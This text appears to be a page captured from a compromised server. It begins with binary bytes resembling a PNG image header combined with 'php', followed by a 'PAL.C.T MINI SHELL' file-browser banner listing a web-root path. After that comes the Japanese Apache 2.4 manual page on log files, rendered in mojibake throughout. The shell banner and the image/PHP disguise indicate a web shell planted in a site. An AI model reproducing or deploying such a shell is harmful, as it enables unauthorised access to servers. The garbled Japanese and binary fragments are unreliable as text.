‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒ̟灙ûŸýÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?ŸqžSXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/opt/lampp/manual/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/opt/lampp/manual/logs.html.ja.utf8

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ja" xml:lang="ja"><head>
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
<!--
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
              This file is generated from xml source: DO NOT EDIT
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      -->
<title>ログファむル - Apache HTTP サヌバ バヌゞョン 2.4</title>
<link href="./style/css/manual.css" rel="stylesheet" media="all" type="text/css" title="Main stylesheet" />
<link href="./style/css/manual-loose-100pc.css" rel="alternate stylesheet" media="all" type="text/css" title="No Sidebar - Default font size" />
<link href="./style/css/manual-print.css" rel="stylesheet" media="print" type="text/css" /><link rel="stylesheet" type="text/css" href="./style/css/prettify.css" />
<script src="./style/scripts/prettify.min.js" type="text/javascript">
</script>

<link href="./images/favicon.ico" rel="shortcut icon" /></head>
<body id="manual-page"><div id="page-header">
<p class="menu"><a href="./mod/">モゞュヌル</a> | <a href="./mod/directives.html">ディレクティブ</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="./glossary.html">甚語</a> | <a href="./sitemap.html">サむトマップ</a></p>
<p class="apache">Apache HTTP サヌバ バヌゞョン 2.4</p>
<img alt="" src="./images/feather.gif" /></div>
<div class="up"><a href="./"><img title="&lt;-" alt="&lt;-" src="./images/left.gif" /></a></div>
<div id="path">
<a href="http://www.apache.org/">Apache</a> &gt; <a href="http://httpd.apache.org/">HTTP サヌバ</a> &gt; <a href="http://httpd.apache.org/docs/">ドキュメンテヌション</a> &gt; <a href="./">バヌゞョン 2.4</a></div><div id="page-content"><div id="preamble"><h1>ログファむル</h1>
<div class="toplang">
<p><span>翻蚳枈み蚀語: </span><a href="./en/logs.html" hreflang="en" rel="alternate" title="English">&nbsp;en&nbsp;</a> |
<a href="./fr/logs.html" hreflang="fr" rel="alternate" title="Français">&nbsp;fr&nbsp;</a> |
<a href="./ja/logs.html" title="Japanese">&nbsp;ja&nbsp;</a> |
<a href="./ko/logs.html" hreflang="ko" rel="alternate" title="Korean">&nbsp;ko&nbsp;</a> |
<a href="./tr/logs.html" hreflang="tr" rel="alternate" title="TÌrkçe">&nbsp;tr&nbsp;</a></p>
</div>
<div class="outofdate">この日本語蚳はすでに叀くなっおいる
            可胜性がありたす。
            最近曎新された内容を芋るには英語版をご芧䞋さい。
        </div>

    <p>りェブサヌバを効果的に管理するためには、サヌバの掻動やパフォヌマンス、
    今発生しおいるかもしれない問題に関するフィヌドバックを埗るこずが必芁です。
    Apache HTTP サヌバには非垞に包括的で柔軟なロギング機胜がありたす。
    この文曞はロギング機胜の蚭定の仕方ず、ログに䜕が曞かれおいるかを
    理解するための方法を説明したす。</p>
  </div>
<div id="quickview"><ul id="toc"><li><img alt="" src="./images/down.gif" /> <a href="#security">
    セキュリティに関する譊告</a></li>
<li><img alt="" src="./images/down.gif" /> <a href="#errorlog">゚ラヌログ</a></li>
<li><img alt="" src="./images/down.gif" /> <a href="#accesslog">アクセスログ</a></li>
<li><img alt="" src="./images/down.gif" /> <a href="#rotation">ログの亀替</a></li>
<li><img alt="" src="./images/down.gif" /> <a href="#piped">パむプ経由のログ</a></li>
<li><img alt="" src="./images/down.gif" /> <a href="#virtualhosts">バヌチャルホスト</a></li>
<li><img alt="" src="./images/down.gif" /> <a href="#other">他のログファむル</a></li>
</ul><ul class="seealso"><li><a href="#comments_section">コメント</a></li></ul></div>
<div class="top"><a href="#page-header"><img alt="top" src="./images/up.gif" /></a></div>
<div class="section">
<h2><a name="security" id="security">
    セキュリティに関する譊告</a></h2>

    <p>Apache がログファむルを曞いおいるディレクトリに曞き蟌める人は、
    ほが確実にサヌバが起動された uid ぞのアクセスを手に入れるこずができたす。
    そしお、それは通垞は root ナヌザです。
    ちゃんず結果を考えるこずなく、そのディレクトリぞの
    曞き蟌み暩限を䞎え<em>ない</em>でください。詳しくは
    <a href="misc/security_tips.html">セキュリティのこ぀</a>の文曞を
    読んでください。</p>

    <p>加えお、ログファむルにはクラむアントからの情報がそのたた、
    ゚スケヌプされるこずなく曞かれおいたす。ですから、悪意のある
    クラむアントがログファむルに制埡文字を挿入するこずができたす。
    生のログを扱うずきは泚意しおください。</p>
  </div><div class="top"><a href="#page-header"><img alt="top" src="./images/up.gif" /></a></div>
<div class="section">
<h2><a name="errorlog" id="errorlog">゚ラヌログ</a></h2>
    
    <table class="related"><tr><th>関連モゞュヌル</th><th>関連ディレクティブ</th></tr><tr><td /><td><ul><li><code class="directive"><a href="./mod/core.html#errorlog">ErrorLog</a></code></li><li><code class="directive"><a href="./mod/core.html#loglevel">LogLevel</a></code></li></ul></td></tr></table>

    <p><code class="directive"><a href="./mod/core.html#errorlog">ErrorLog</a></code> ディレクティブにより
    名前ず堎所が決たるサヌバの゚ラヌログは、䞀番重芁なログファむルです。
    Apache の蚺断情報はここに送られ、リク゚ストを凊理しおいるずきに
    発生した゚ラヌはすべおここに蚘録されたす。サヌバを起動したずきや、
    サヌバの動䜜に問題が起こったずきは、䞀番最初に調べるべき
    ずころです。間違いの詳现や修正方法がそこに曞かれおいるこずが
    よくありたす。</p>

    <p>゚ラヌログは普通はファむルに曞かれたす (通垞 Unix システムでは
    <code>error_log</code>、Windows ず OS/2 では <code>error.log</code>)。
    Unix システムでぱラヌを <code>syslog</code> や
    <a href="#piped">パむプでプログラムに送る</a> こずができたす。</p>

    <p>゚ラヌログの曞匏は比范的自由床の高いもので、説明的に曞かれおいたす。
    ただし、いく぀かの情報はほずんどの゚ラヌログの゚ントリにありたす。
    䟋えば、代衚的なものに次のようなメッセヌゞがありたす。</p>

    <div class="example"><p><code>
      [Wed Oct 11 14:32:52 2000] [error] [client 127.0.0.1]
      client denied by server configuration:
      /export/home/live/ap/htdocs/test
    </code></p></div>

    <p>ログ゚ントリの最初の項目はメッセヌゞの日付ず時刻です。
    二぀めの項目は報告されおいる゚ラヌの重芁床です。
    <code class="directive"><a href="./mod/core.html#loglevel">LogLevel</a></code> で重芁床のレベルを
    制限するこずにより゚ラヌログに送られる゚ラヌの皮類を制埡するこずが
    できたす。䞉぀目の項目ぱラヌを発生させたクラむアントの IP アドレス
    です。残りはメッセヌゞで、この堎合はサヌバがクラむアントのアクセスを
    拒吊するように蚭定されおいる、ずいうこずを瀺しおいたす。
    サヌバはリク゚ストされた文曞の (りェブのパスではなく) ファむルシステムの
    パスを報告したす。</p>

    <p>非垞に広範囲のメッセヌゞが゚ラヌログに珟れたす。たいおいのものは
    䞊の䟋のような感じです。゚ラヌログには CGI スクリプトのデバッグ
    出力も曞かれたす。CGI スクリプトが <code>stderr</code> に曞いた
    すべおの情報は盎接゚ラヌログにコピヌされたす。</p>

    <p>情報を远加したり削陀したりしお゚ラヌログをカスタマむズするこずは
    できたせん。しかし、リク゚ストに察する゚ラヌログの゚ントリは、
    察応する゚ントリが<a href="#accesslog">アクセスログ</a>にありたす。
    䟋えば、䞊の䟋の゚ントリはアクセスログのステヌタスコヌド 403 の
    ゚ントリに察応したす。アクセスログはカスタマむズ可胜ですので、
    そちらを䜿うこずにより゚ラヌの状況に関する情報をより倚く
    手に入れるこずができたす。</p>

    <p>テストの最䞭は、問題が発生しおいるかどうかを芋るために、
    垞に゚ラヌログを監芖するのが圹に立぀堎合がよくありたす。
    Unix システムでは、次のものを䜿うこずができたす。</p>

    <div class="example"><p><code>
      tail -f error_log
    </code></p></div>
  </div><div class="top"><a href="#page-header"><img alt="top" src="./images/up.gif" /></a></div>
<div class="section">
<h2><a name="accesslog" id="accesslog">アクセスログ</a></h2>
    

    <table class="related"><tr><th>関連モゞュヌル</th><th>関連ディレクティブ</th></tr><tr><td><ul><li><code class="module"><a href="./mod/mod_log_config.html">mod_log_config</a></code></li><li><code class="module"><a href="./mod/mod_setenvif.html">mod_setenvif</a></code></li></ul></td><td><ul><li><code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code></li><li><code class="directive"><a href="./mod/mod_log_config.html#logformat">LogFormat</a></code></li><li><code class="directive"><a href="./mod/mod_setenvif.html#setenvif">SetEnvIf</a></code></li></ul></td></tr></table>

    <p>サヌバアクセスログはサヌバが凊理をしたすべおのリク゚ストを
    蚘録したす。アクセスログの堎所ず内容は <code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code>
    ディレクティブにより決たりたす。ログの内容の遞択を簡朔にするために
    <code class="directive"><a href="./mod/mod_log_config.html#logformat">LogFormat</a></code>
    ディレクティブを䜿甚するこずができたす。このセクションはアクセスログに
    情報を蚘録するためのサヌバの蚭定方法を説明したす。</p>

    <p>もちろん、アクセスログに情報を蓄積するこずはログ管理の
    始たりに過ぎたせん。次の段階は有甚な統蚈を取るためにこの情報を
    解析するこずです。䞀般的なログ解析はこの文曞の範囲倖で、
    りェブサヌバ自身の仕事ずいうわけでもありたせん。この話や、
    ログ解析を行なうアプリケヌションの情報を埗るには、<a href="http://dmoz.org/Computers/Software/Internet/Site_Management/Log_analysis/">
    Open Directory</a> や <a href="http://dir.yahoo.com/Computers_and_Internet/Software/Internet/World_Wide_Web/Servers/Log_Analysis_Tools/">
    Yahoo</a> を調べおください。</p>

    <p>いろんなバヌゞョンの Apache httpd が mod_log_config,
    mod_log_agent, <code>TransferLog</code> ディレクティブずいった、
    他のモゞュヌルやディレクティブを䜿っおアクセスのロギングを
    制埡しおきたした。今では、<code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code> がすべおの叀い
    ディレクティブの機胜を含むようになっおいたす。</p>

    <p>アクセスログの曞匏は非垞に柔軟な蚭定が可胜です。
    曞匏は C の printf(1) フォヌマット文字列に非垞に䌌た
    <code class="directive"><a href="./mod/mod_log_config.html#フォヌマット文字列">フォヌマット文字列</a></code>
    により指定されたす。いく぀か次の節で䟋を瀺したす。
    フォヌマット文字列に䜿甚できる内容の䞀芧は <a href="mod/mod_log_config.html">mod_log_config の文曞</a>
    を芋おください。</p>

    <h3><a name="common" id="common">Common Log Format</a></h3>
      

      <p>アクセスログのよくある蚭定に以䞋のものがありたす。</p>

      <div class="example"><p><code>
        LogFormat "%h %l %u %t \"%r\" %&gt;s %b" common<br />
         CustomLog logs/access_log common
      </code></p></div>

      <p>これは、<em>ニックネヌム</em> <code>common</code> を定矩し、
      ログのフォヌマット文字列の䞀぀ず関連付けたす。フォヌマット文字列は
      パヌセントディレクティブからなり、それぞれのパヌセントディレクティブは
      サヌバにどの情報をロギングするかを指瀺したす。フォヌマット文字列に
      文字をそのたた入れるこずもでき、それらはログの出力に盎接コピヌされたす。
      そこに匕甚文字 (<code>"</code>) を曞くずきは、
      フォヌマット文字列の最埌ずしお解釈
      されるこずを防ぐためにバックスラッシュで゚スケヌプする必芁がありたす。
      フォヌマット文字列には改行甚の "<code>\n</code>"、タブ甚の
      "<code>\t</code>" ずいう特別な制埡文字も含めるこずができたす。</p>

      <p><code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code> ディレクティブは
      既に定矩された
      <em>ニックネヌム</em> を䜿っお新しいログファむルを蚭定したす。
      アクセスログのファむル名はスラッシュで始たらない限り、
      <code class="directive"><a href="./mod/core.html#serverroot">ServerRoot</a></code> からの盞察パスずしお
      扱われたす。</p>

      <p>䞊の蚭定は Common Log Format (CLF) ず呌ばれる圢匏で
      ログ゚ントリを曞きたす。この暙準の圢匏は異なるりェブサヌバの倚くが
      生成するこずができ、倚くのログ解析プログラムが読みこむこずができたす。
      CLF により生成されたログファむルの゚ントリは以䞋のようになりたす:</p>

      <div class="example"><p><code>
        127.0.0.1 - frank [10/Oct/2000:13:55:36 -0700] "GET
        /apache_pb.gif HTTP/1.0" 200 2326
      </code></p></div>

      <p>このログ゚ントリのそれぞれの郚分の意味は以䞋で説明したす。</p>

      <dl>
	<dt><code>127.0.0.1</code> (<code>%h</code>)</dt>

	<dd>これはサヌバぞリク゚ストをしたクラむアント (リモヌトホスト)
	の IP アドレスです。<code class="directive"><a href="./mod/core.html#hostnamelookups">HostnameLookups</a></code> が
	<code>On</code> の堎合は、サヌバはホスト名を調べお、
	IP アドレスが曞かれおいるずころに蚘録したす。しかし、この蚭定は
	サヌバをかなり遅くするので、あたりお勧めできたせん。
	そうではなく、<code class="program"><a href="./programs/logresolve.html">logresolve</a></code> の
	ようなログの埌凊理を行なうプログラムでホスト名を調べるのが良いでしょう。
	ここに報告される IP アドレスは必ずしもナヌザが䜿っおいるマシンの
	ものであるずは限りたせん。ナヌザずサヌバの間にプロキシサヌバが
	あれば、このアドレスは元のマシンのものではなく、プロキシの
	アドレスになりたす。</dd>

	<dt><code>-</code> (<code>%l</code>)</dt>

	<dd>出力䞭の「ハむフン」は芁求された情報が手に入らなかったずいうこずを
	意味したす。この堎合、取埗できなかった情報はクラむアントのマシンの
	<code>identd</code> により決たる RFC 1413 のクラむアントの
	アむデンティティです。この情報はあたり信甚するこずができず、
	しっかりず管理された内郚ネットワヌクを陀いおは䜿うべきではありたせん。
	Apache は <code class="directive"><a href="./mod/core.html#identitycheck">IdentityCheck</a></code> が
	<code>On</code> になっおいない限り、この情報を埗ようずすらしたせん。</dd>

	<dt><code>frank</code> (<code>%u</code>)</dt>

	<dd>これは HTTP 認蚌による、ドキュメントをリク゚ストした人の
	ナヌザ ID です。CGI スクリプトには通垞同じ倀が <code>REMOTE_USER</code>
	環境倉数ずしお䞎えられたす。リク゚ストのステヌタスコヌド
	(以䞋を参照) が 401 であった堎合は、ナヌザは認蚌に倱敗しおいるので、
	この倀は信甚できたせん。ドキュメントがパスワヌドで保護されおいない
	堎合は、この郚分は前のものず同じように "<code>-</code>" に
	なりたす。</dd>

	<dt><code>[10/Oct/2000:13:55:36 -0700]</code>
	(<code>%t</code>)</dt>

	<dd>
	  サヌバがリク゚ストを受け取った時刻です。曞匏は:

	    <p class="indent">
	      <code>[day/month/year:hour:minute:second zone]<br />
	       day = 2*digit<br />
	       month = 3*letter<br />
	       year = 4*digit<br />
	       hour = 2*digit<br />
	       minute = 2*digit<br />
	       second = 2*digit<br />
	       zone = (`+' | `-') 4*digit</code>
	    </p>
	  ログのフォヌマット文字列に <code>%{format}t</code> を
	  指定するこずで、別の圢匏で時刻を衚瀺させるこずもできたす。
	  このずき、<code>format</code> は C の暙準ラむブラリの
	  <code>strftime(3)</code> の圢匏になりたす。
	</dd>

	<dt><code>"GET /apache_pb.gif HTTP/1.0"</code>
	(<code>\"%r\"</code>)</dt>

	<dd>クラむアントからのリク゚ストが二重匕甚笊の䞭に瀺されおいたす。
	リク゚ストには倚くの有甚な情報がありたす。たず、この堎合クラむアントが
	䜿ったメ゜ッドは <code>GET</code> です。次に、クラむアントは
	リ゜ヌス <code>/apache_pb.gif</code> を芁求したした。そしお、
	クラむアントはプロトコル <code>HTTP/1.0</code> を䜿甚したした。
	リク゚ストの各郚分を独立にログ収集するこずもできたす。䟋えば、
	フォヌマット文字列 "<code>%m %U%q %H</code>" は
	メ゜ッド、パス、ク゚リ文字列、プロトコルをログ収集し、
	結局 "<code>%r</code>" ずたったく同じ出力になりたす。</dd>

	<dt><code>200</code> (<code>%&gt;s</code>)</dt>

	<dd>サヌバがクラむアントに送り返すステヌタスコヌドです。
	この情報は、リク゚ストが成功応答 (2 で始たるコヌド) であったか、
	リダむレクション (3 で始たるコヌド) であったか、クラむアントによる
	゚ラヌ (4 で始たるコヌド) であったか、サヌバの゚ラヌ (5 で始たるコヌド)
	であったか、を衚すので、非垞に倧切です。ステヌタスコヌドの
	完党なリストは <a href="http://www.w3.org/Protocols/rfc2616/rfc2616.txt">HTTP
	芏栌</a> (RFC2616 第 10 節) にありたす。</dd>

	<dt><code>2326</code> (<code>%b</code>)</dt>

	<dd>この最埌の郚分はクラむアントに送信されたオブゞェクトの、
	応答ヘッダを陀いたサむズを衚したす。コンテントがクラむアントに送られなかった
	堎合は、この倀は "<code>-</code>" になりたす。コンテントが無い堎合に
	"<code>0</code>" をログ収集するには、<code>%b</code> ではなく
	<code>%B</code> を䜿っおください。</dd>

      </dl>
    

    <h3><a name="combined" id="combined">Combined Log Format</a></h3>
      

      <p>もう䞀぀のよく䜿われる曞匏は Combined Log Format ず呌ばれおいたす。
      以䞋のようにしお䜿うこずができたす。</p>

      <div class="example"><p><code>
        LogFormat "%h %l %u %t \"%r\" %&gt;s %b \"%{Referer}i\"
        \"%{User-agent}i\"" combined<br />
         CustomLog log/access_log combined
      </code></p></div>

      <p>この曞匏の最初の方は Common Log Format ずたったく同じで、最埌に
      二぀远加の゚ントリがありたす。远加の゚ントリはパヌセントディレクティブ
      <code>%{<em>header</em>}i</code> を䜿っおいたす。ここで
      <em>header</em> は HTTP のリク゚ストヘッダのどれかです。この曞匏による
      アクセスログは以䞋のような感じになりたす:</p>

      <div class="example"><p><code>
        127.0.0.1 - frank [10/Oct/2000:13:55:36 -0700] "GET
        /apache_pb.gif HTTP/1.0" 200 2326
        "http://www.example.com/start.html" "Mozilla/4.08 [en]
        (Win98; I ;Nav)"
      </code></p></div>

      <p>远加の゚ントリは:</p>

      <dl>
	<dt><code>"http://www.example.com/start.html"</code>
	(<code>\"%{Referer}i\"</code>)</dt>

	<dd>"Referer" (意図的な綎り間違い) HTTP リク゚ストヘッダです。
	これはクラむアントが報告しおくる参照元のサむトを衚したす。
	(この堎合は、<code>/apache_pb.gif</code> にリンクしおいるか、
	それを含んでいるペヌゞです)。</dd>

	<dt><code>"Mozilla/4.08 [en] (Win98; I ;Nav)"</code>
	(<code>\"%{User-agent}i\"</code>)</dt>

	<dd>User-Agent HTTP リク゚ストヘッダです。これはクラむアントのブラりザが
	自分自身のこずを報告しおくる情報です。</dd>
      </dl>
    

    <h3><a name="multiple" id="multiple">耇数のアクセスログ</a></h3>
      

    <p>耇数のアクセスログは単に蚭定ファむルに耇数の <code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code>
    ディレクティブを曞くこずで䜜成されたす。䟋えば、以䞋のディレクティブは
    䞉぀のアクセスログを䜜りたす。最初のものは基本的な CLF の情報で、
    二぀目ず䞉぀目は referer ずブラりザの情報です。最埌二぀の
    <code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code> は
    <code>ReferLog</code> ディレクティブず
    <code>AgentLog</code> ディレクティブの効果をたねる方法を瀺しおいたす。</p>

      <div class="example"><p><code>
        LogFormat "%h %l %u %t \"%r\" %&gt;s %b" common<br />
        CustomLog logs/access_log common<br />
        CustomLog logs/referer_log "%{Referer}i -&gt; %U"<br />
        CustomLog logs/agent_log "%{User-agent}i"
      </code></p></div>

    <p>この䟋は <code class="directive"><a href="./mod/mod_log_config.html#logformat">LogFormat</a></code> で
    ニックネヌムを定矩する必芁がない、
    ずいうこずも瀺しおいたす。ニックネヌムの代わりに、
    <code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code> ディレクティブに
    盎接ログの曞匏を指定するこずができたす。</p>
    

    <h3><a name="conditional" id="conditional">条件付きログ</a></h3>
      

    <p>クラむアントのリク゚ストの特城に基づいおアクセスログに゚ントリの
    䞀郚をロギングしない方が䟿利なこずがありたす。これは <a href="env.html">環境倉数</a> の補助により簡単に実珟できたす。たず、
    リク゚ストが䜕らかの条件に合うずいうこずを衚すために環境倉数が
    蚭定される必芁がありたす。これは通垞は <code class="directive"><a href="./mod/mod_setenvif.html#setenvif">SetEnvIf</a></code> により
    行なわれたす。そしお、<code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code> ディレクティブの
    <code>env=</code> 節を䜿っお環境倉数が蚭定されおいるリク゚ストを
    含めたり排陀したりするこずができたす。いく぀か䟋を挙げたす:</p>

      <div class="example"><p><code>
        # Mark requests from the loop-back interface<br />
        SetEnvIf Remote_Addr "127\.0\.0\.1" dontlog<br />
        # Mark requests for the robots.txt file<br />
        SetEnvIf Request_URI "^/robots\.txt$" dontlog<br />
        # Log what remains<br />
        CustomLog logs/access_log common env=!dontlog
      </code></p></div>

    <p>他の䟋ずしお、英語を話す人からのリク゚ストずそれ以倖の人からのリク゚ストを
    分けたい、ずいう堎合を考えおみおください。</p>

      <div class="example"><p><code>
        SetEnvIf Accept-Language "en" english<br />
        CustomLog logs/english_log common env=english<br />
        CustomLog logs/non_english_log common env=!english
      </code></p></div>

    <p>ここたででは条件付きロギングが非垞に匷力で柔軟であるこずを瀺しおきたしたが、
    それがログの内容を制埡する唯䞀の方法ずいうわけではありたせん。ログファむルは
    サヌバの掻動の完党な蚘録である方がより圹に立ちたす。単玔にログファむルを
    埌凊理しお、考慮したくないログを削陀する方が簡単であるこずがよくありたす。</p>
    
  </div><div class="top"><a href="#page-header"><img alt="top" src="./images/up.gif" /></a></div>
<div class="section">
<h2><a name="rotation" id="rotation">ログの亀替</a></h2>
    

    <p>普通の負荷のサヌバでさえ、ログファむルに保存される情報の量は
    膚倧になりたす。アクセスログのファむルは普通 10,000 リク゚スト毎に
    1 MB 以䞊増えたす。ですから、既存のログを移動したり、削陀したりしお、
    定期的にログを亀替させるこずが必芁になりたす。これはサヌバの実行䞭には
    行なえたせん。ずいうのは、Apache はファむルが open されおいる間は
    ずっず叀いログファむルに曞き続けるからです。
    新しいログファむルを open できるように、ログファむルが移動されたり
    削陀された埌に、サヌバを<a href="stopping.html">再起動</a>する
    必芁がありたす。</p>

    <p><em>優雅な</em> 再起動を行なうこずで、サヌバは既存のコネクションや
    凊理埅ちのコネクションを倱うこずなく新しいログファむルを open させる
    こずができたす。しかし、これを実珟するために、サヌバは叀いリク゚ストを
    扱っおいる間は叀いログファむルに曞き続ける必芁がありたす。
    ですから、再起動の埌ではログファむルの凊理を始める前に、しばらく埅たなければ
    なりたせん。単にログを亀替させお、ディスクの節玄のために叀いログを
    圧瞮する普通のシナリオは:</p>

    <div class="example"><p><code>
      mv access_log access_log.old<br />
      mv error_log error_log.old<br />
      apachectl graceful<br />
      sleep 600<br />
      gzip access_log.old error_log.old
    </code></p></div>

    <p>ログの亀替をするもう䞀぀の方法は<a href="#piped">パむプ経由のログ</a>を䜿うもので、次の節で説明されおいたす。</p>
  </div><div class="top"><a href="#page-header"><img alt="top" src="./images/up.gif" /></a></div>
<div class="section">
<h2><a name="piped" id="piped">パむプ経由のログ</a></h2>
    

    <p>Apache httpd ぱラヌログずアクセスログをファむルに盎接曞く代わりに、
    パむプを通しお別のプログラムに曞き出すこずができたす。
    この機胜により、䞻サヌバにコヌドを远加するこずなく
    ロギングの柔軟性が非垞に高たっおいたす。パむプにログを曞くためには、
    単にファむル名をパむプ文字 "<code>|</code>" に眮き換え、その続きに
    暙準入力からログの゚ントリを受けずる実行プログラムの名前を曞くだけです。
    Apache はパむプ経由のログ甚のプロセスをサヌバの起動時に実行し、
    サヌバの実行䞭にそのプログラムがクラッシュしたずきはそれを再び
    実行したす。(この最埌の機胜がこの技術が「信頌性のあるパむプ経由のロギング」
    ず呌ばれおいる理由です。)</p>

    <p>パむプ経由のログ甚のプロセスは Apache httpd の芪プロセスから起動され、
    そのプロセスのナヌザ ID を継承したす。これは、パむプ経由のログ甚の
    プログラムは普通 root ずしお実行されるこずを意味したす。
    ですから、プログラムを簡単で安党に保぀こずが非垞に重芁です。</p>

    <p>パむプ経由のログの重芁な利甚法は、サヌバの再起動なしでログの亀替を
    するこずです。Apache HTTP サヌバにはこのための  <code class="program"><a href="./programs/rotatelogs.html">rotatelogs</a></code> ず呌ばれる簡単な
    プログラムが付属しおいたす。たずえば、24 時間毎にログを亀替させるには、
    以䞋のものを䜿うこずができたす:</p>

    <div class="example"><p><code>
      CustomLog "|/usr/local/apache/bin/rotatelogs
      /var/log/access_log 86400" common
    </code></p></div>

    <p>パむプの先で呌ばれるコマンド党䜓が匕甚笊で囲たれおいるこずに泚目しお
    ください。この䟋はアクセスログを䜿っおいたすが、゚ラヌログにも同じ技術を
    䜿うこずができたす。</p>

    <p>䌌おいるけれど、よりずっず柔軟な
    <a href="http://www.cronolog.org/">cronolog</a> ずいうログ亀替甚の
    プログラムが倖郚のサむトにありたす。</p>

    <p>条件付きロギングず同様、パむプ経由のログは非垞に匷力な
    道具ですが、オフラむンの埌凊理のような、より簡単な解決方法があるずきは
    䜿わない方が良いでしょう。</p>
  </div><div class="top"><a href="#page-header"><img alt="top" src="./images/up.gif" /></a></div>
<div class="section">
<h2><a name="virtualhosts" id="virtualhosts">バヌチャルホスト</a></h2>
    

    <p>倚くの <a href="vhosts/">バヌチャルホスト</a> のあるサヌバを実行しおいる
    ずきは、ログファむルの扱い方にいく぀かの方法がありたす。
    たず、単独のホストのみのサヌバずたったく同じようにログを䜿うこずができたす。
    ロギングディレクティブを䞻サヌバのコンテキストの
    <code class="directive"><a href="./mod/core.html#virtualhost">&lt;VirtualHost&gt;</a></code> セクションの倖に眮くこずで、
    すべおのログを同じアクセスログず゚ラヌログにログ収集するこずができたす。
    この手法では個々のバヌチャルホストの統蚈を簡単にずるこずはできたせん。</p>

    <p><code class="directive"><a href="./mod/mod_log_config.html#customlog">CustomLog</a></code> や
    <code class="directive"><a href="./mod/mod_log_config.html#errorlog">ErrorLog</a></code> ディレクティブが
    <code class="directive"><a href="./mod/core.html#virtualhost">&lt;VirtualHost&gt;</a></code> の䞭に
    眮かれた堎合は、そのバヌチャル
    ホストぞのすべおのリク゚ストや゚ラヌがそこで指定されたファむルにのみ
    ログ収集されたす。ロギングディレクティブのないバヌチャルホストは
    䟝然ずしおリク゚ストが䞻サヌバのログに送られたす。この手法は少ない
    バヌチャルホストに察しおは非垞に有甚ですが、ホストの数が非垞に倚くなるず
    管理が倧倉になりたす。さらに、<a href="vhosts/fd-limits.html">ファむル蚘述子の限界</a>の問題を起こすこずが
    ありたす。</p>

    <p>アクセスログには、非垞に良い劥協案がありたす。バヌチャルホストの
    情報をログのフォヌマット文字列に加えるこずで、すべおのホストぞの
    リク゚ストを同じログにログ収集しお、埌でログを個々のファむルに分割するこずが
    できたす。たずえば、以䞋のディレクティブを芋おください。</p>

    <div class="example"><p><code>
      LogFormat "%v %l %u %t \"%r\" %&gt;s %b"
      comonvhost<br />
      CustomLog logs/access_log comonvhost
    </code></p></div>

    <p><code>%v</code> がリク゚ストを扱っおいるバヌチャルホストの名前を
    ログ収集するために䜿われおいたす。そしお、<a href="programs/other.html">split-logfile</a> のようなプログラムを
    䜿っおアクセスログを埌凊理するこずで、
    バヌチャルホスト毎のファむルにログを分割するこずができたす。</p>

    <p>残念ながら、゚ラヌログには同様の手法はありたせん。ですから、
    すべおのバヌチャルホストを同じ゚ラヌログの䞭に混ぜるか、
    バヌチャルホスト毎に゚ラヌログを䜿うかを遞ばなければなりたせん。</p>
  </div><div class="top"><a href="#page-header"><img alt="top" src="./images/up.gif" /></a></div>
<div class="section">
<h2><a name="other" id="other">他のログファむル</a></h2>
    

    <table class="related"><tr><th>関連モゞュヌル</th><th>関連ディレクティブ</th></tr><tr><td><ul><li><code class="module"><a href="./mod/mod_logio.html">mod_logio</a></code></li><li><code class="module"><a href="./mod/mod_log_forensic.html">mod_log_forensic</a></code></li><li><code class="module"><a href="./mod/mod_cgi.html">mod_cgi</a></code></li><li><code class="module"><a href="./mod/mod_rewrite.html">mod_rewrite</a></code></li></ul></td><td><ul><li><code class="directive"><a href="./mod/mod_log_config.html#logformat">LogFormat</a></code></li><li><code class="directive"><a href="./mod/mod_log_forensic.html#forensiclog">ForensicLog</a></code></li><li><code class="directive"><a href="./mod/mpm_common.html#pidfile">PidFile</a></code></li><li><code class="directive"><a href="./mod/mod_rewrite.html#rewritelog">RewriteLog</a></code></li><li><code class="directive"><a href="./mod/mod_rewrite.html#rewriteloglevel">RewriteLogLevel</a></code></li><li><code class="directive"><a href="./mod/mod_cgi.html#scriptlog">ScriptLog</a></code></li><li><code class="directive"><a href="./mod/mod_cgi.html#scriptlogbuffer">ScriptLogBuffer</a></code></li><li><code class="directive"><a href="./mod/mod_cgi.html#scriptloglength">ScriptLogLength</a></code></li></ul></td></tr></table>

    <h3>実際に送受信したバむト数のログ</h3>
      

      <p><code class="module"><a href="./mod/mod_logio.html">mod_logio</a></code> は、
         ネットワヌク䞊で実際に送受信した数をログする
         二぀のフィヌルド (%I ず %O) を
         <code class="directive"><a href="./mod/mod_log_config.html#logformat">LogFormat</a></code> 
         ディレクティブに远加したす。</p>
    

    <h3>Forensic ログ</h3>
      

      <p><code class="module"><a href="./mod/mod_log_forensic.html">mod_log_forensic</a></code> はクラむアントリク゚ストの
         forensic ログを取りたす。ログはリク゚スト凊理前ず凊理埌に
